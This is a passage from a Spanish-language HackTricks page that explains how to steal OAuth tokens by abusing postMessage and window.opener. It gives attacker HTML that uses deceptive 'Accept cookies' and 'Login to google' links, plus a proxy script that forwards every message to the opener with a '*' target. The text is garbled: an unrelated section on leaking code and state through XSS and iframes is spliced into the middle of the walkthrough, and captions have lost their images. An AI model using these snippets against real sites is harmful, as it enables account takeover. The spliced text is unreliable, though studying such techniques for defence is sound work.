no pueden validar ninguna ruta del origen, cualquier URL en un dominio válido puede recibir el postMessage con el token. Si hay algún tipo de proxy de listener de postMessage en cualquiera de las páginas en el dominio, que toma cualquier mensaje enviado a él y envía todo a su opener
, puedo hacer una cadena doble de window.open:
Página del atacante 1:
<a href="#" onclick="a=window.open('attacker2.html'); return false;">Accept cookies</a>
Página del atacante 2:
Happy Paths de OAuth
XSS, iframes y postMessage para filtrar valores de código y estado
Una vez que el usuario ha iniciado sesión en el proveedor de OAuth y ha sido redirigido de vuelta a la aplicación de destino, el proveedor de OAuth enviará un código de autorización y un estado a la aplicación de destino. Estos valores son necesarios para que la aplicación de destino obtenga un token de acceso del proveedor de OAuth.
Un atacante puede intentar filtrar estos valores de código y estado utilizando técnicas de XSS, iframes y postMessage. El atacante puede crear una página web maliciosa que incluya un iframe que apunte a la URL de inicio de sesión del proveedor de OAuth. La página web maliciosa también puede incluir código JavaScript que se ejecutará en el contexto del iframe.
Cuando el usuario inicia sesión en el proveedor de OAuth a través del iframe, el código JavaScript malicioso puede leer el valor del código de autorización y del estado utilizando la API postMessage. El código JavaScript malicioso puede enviar estos valores a un servidor controlado por el atacante para su posterior uso en un ataque de toma de cuenta.
Es importante tener en cuenta que esta técnica solo funcionará si el proveedor de OAuth no ha implementado medidas de seguridad adecuadas, como la restricción de los dominios permitidos para la redirección de OAuth.
<a href="#" onclick="b=window.open('https://accounts.google.com/oauth/...?', '', 'x'); location.href = 'https://example.com/postmessage-proxy'; return false;">Login to google</a>
Y el https://example.com/postmessage-proxy
tendría algo como:
// Proxy all my messages to my opener:
window.onmessage=function(e) { opener.postMessage(e.data, '*'); }
Podría utilizar cualquiera de los modos de respuesta web_message
para enviar el token desde el proveedor de OAuth hasta el origen válido de https://example.com
, pero el punto final enviaría el token más adelante a opener
, que es la página del atacante.
Este flujo puede parecer poco probable y requiere dos clics: uno para crear una relación de apertura entre el atacante y el sitio web, y el segundo para lanzar el flujo de OAuth teniendo el sitio legítimo como el abridor de la ventana emergente de OAuth.
El proveedor de OAuth envía el token al origen legítimo:
Y el origen legítimo tiene el proxy de postMessage a su abridor:
Lo que hace que el atacante obtenga el token:
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.